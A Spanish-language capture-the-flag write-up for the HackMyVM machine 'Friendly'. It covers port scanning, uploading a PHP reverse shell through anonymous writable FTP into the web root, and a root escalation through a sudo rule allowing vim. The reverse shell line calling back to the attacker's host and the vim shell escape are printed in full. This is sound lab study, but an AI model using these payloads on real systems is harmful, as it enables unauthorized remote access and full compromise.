cd ~/blog

~/writeups/hmv/028-friendly.md

028 - Friendly

easy Linux hmvautor: Jordy Pérez Osorio aviso legal
Anonymous FTP Write Access sobre la raíz webWeb Shell Upload mediante FTPSudo-Allowed Program Abuse mediante Vim
hackmyvm.eu/machines/machine.php?vm=Friendly

~2 min de lectura


Enumeración de servicios

Comenzamos con un escaneo general y específico de puertos:

❯ sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 192.168.1.22
❯ nmap -sCV -p21,80 -oN 02-targeted.txt 192.168.1.22
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-27 17:56 -03
Nmap scan report for 192.168.1.22
Host is up (0.00031s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
80/tcp open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-title: Apache2 Debian Default Page: It works

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.30 seconds

Acceso inicial mediante FTP

El FTP anónimo expone el mismo index.html que sirve Apache. Esa coincidencia permite inferir que el directorio FTP está asociado al DocumentRoot; al comprobar que también admite escritura, podemos publicar una reverse shell PHP:

❯ cat reverse.php
<?php
    shell_exec("bash -c 'bash -i >& /dev/tcp/192.168.1.10/1234 0>&1'");
?>
ftp> put reverse.php
200 PORT command successful
150 Opening BINARY mode data connection for reverse.php
226 Transfer complete
81 bytes sent in 0,000102 seconds (776 kbytes/s)
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection for file list
-rw-r--r--   1 root     root        10725 Feb 23  2023 index.html
-rw-r--r--   1 ftp      nogroup        81 Feb 27 21:23 reverse.php
226 Transfer complete

La coincidencia del nombre por sí sola sería sólo una pista. La validación real consiste en subir un archivo inocuo o nuestra carga y comprobar que aparece bajo la misma ruta en HTTP. Como Apache tiene PHP habilitado, una extensión .php provoca que el servidor interprete el contenido en lugar de entregarlo como texto, transformando la escritura por FTP en ejecución de código como www-data.

Escalada de privilegios

Accedemos a http://192.168.1.22/reverse.php, obtenemos una shell y la primera flag. Iniciamos la escalada con sudo -l:

www-data@friendly:/home/RiJaba1$ sudo -l
Matching Defaults entries for www-data on friendly:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on friendly:
    (ALL : ALL) NOPASSWD: /usr/bin/vim

La regla permite un Sudo-Allowed Program Abuse mediante Vim. Podemos ejecutar el editor como cualquier usuario y aprovechar su capacidad de invocar órdenes externas para lanzar una shell de root:

www-data@friendly:/home/RiJaba1$ sudo vim -c ':!/bin/bash'
root@friendly:/home/RiJaba1#

Vim permite ejecutar órdenes externas mediante :!. sudo inicia el editor como root y la orden /bin/bash hereda esa identidad, por lo que no se explota un fallo de memoria en Vim: se abusa de una regla de sudo demasiado amplia para un programa con capacidad de escape a shell. Restringir el nombre del binario sin limitar sus funciones internas no crea una frontera de seguridad.

Localización de la flag real

Al intentar leer la flag, encontramos un señuelo:

root@friendly:/home/RiJaba1/Private# cat /root/root.txt
cat /root/root.txt
Not yet! Find root.txt.

Buscamos otros .txt con "root" en el nombre y encontramos la flag real en el log de Apache:

root@friendly:~# find / -name "*.txt" | grep root
/var/log/apache2/root.txt
/root/root.txt

El contenido de /root/root.txt indica explícitamente que es un señuelo. La búsqueda se realiza después de obtener privilegios, cuando ya podemos recorrer rutas antes inaccesibles, y localiza el archivo real en /var/log/apache2/root.txt.

Obtenemos la flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados